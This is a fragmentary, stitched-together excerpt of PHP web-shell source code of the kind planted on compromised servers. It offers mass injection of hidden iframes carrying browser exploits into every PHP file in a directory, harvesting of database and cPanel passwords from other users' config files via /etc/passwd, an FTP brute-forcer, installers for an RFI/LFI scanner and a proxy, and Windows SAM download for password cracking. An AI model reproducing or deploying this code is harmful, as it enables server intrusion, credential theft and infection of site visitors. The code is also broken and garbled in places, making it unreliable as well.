while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror")) {
function mysql_smarterror($type,$sock) {
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form")) {
function mysql_query_form() {
global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
}
echo "</td></tr><tr>";
if (!$sql_sock) {
echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_x,$acts)) {
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<?php if ($_GET["x"] == "lul") { /*code*/; } ?>'); ?></textarea></td></tr>
foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo '<font color=green>'.$injectj00.' was injected<br></font>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is php only
} // end if massbrowsersploit is called
if ($x == 'cpanel'){
if ($_GET['go'] == 'go'){
set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath\n$pass\n";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}
function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n";
echo "[~] Searching for passwords in config.* files...\n\n";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}
echo "\n[+] Done\n";
echo "</textarea><br>";
}else
echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'x=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>';
}
if ($x == 'fi'){
?>
<b>Install Local RFI/LFI Scanner</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="x" value="fi">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
if ($_GET['install'] == 'yup') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'fi.pl', $fi);
echo '<font color=green><b>fi.pl was created in '.htmlentities($_GET['path']).'</b></font>';
chmod($_GET['path'].'/fi.pl', 0777);
echo '<br />To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\'';
}else{
echo '<font color=red><b>Directory is not writable!</b><br></font>';
}
}
}
if ($x == 'phpproxy'){
?>
<b>Install PHP Based Proxy</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="x" value="phpproxy">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
if ($_GET['install'] == 'yup') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'proxy.php', $phpproxy);
echo '<font color=green><b>proxy.php was created in '.htmlentities($_GET['path']).'</b></font>';
chmod($_GET['path'].'/proxy.php', 0777);
}else{
echo '<font color=red><b>Directory is not writable!</b><br></font>';
function caftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
else {$TRUE = TRUE;}
if ($TRUE) {
$sock = @ftp_connect($host,$port,$timeout);
if (@ftp_login($sock,$login,$pass)) {
echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
ob_flush();
return TRUE;
}
}
}
if (!empty($submit)) {
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/passwd","r");
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
else {
if ($fqb_logging) {
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
else {$fqb_logfp = FALSE;}
$fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp)) {
$str = explode(":",fgets($fp,2048));
if (caftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
$fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
"<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
"<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
"<hr size=\"1\" noshade>";
}
}
if ($x == "chmod") {
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
$x = "ls";
}
if (!$usefsbuff) {
if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
}
else {
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
$arr = explode("\n",$r);
if (count($arr == 18)) {
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}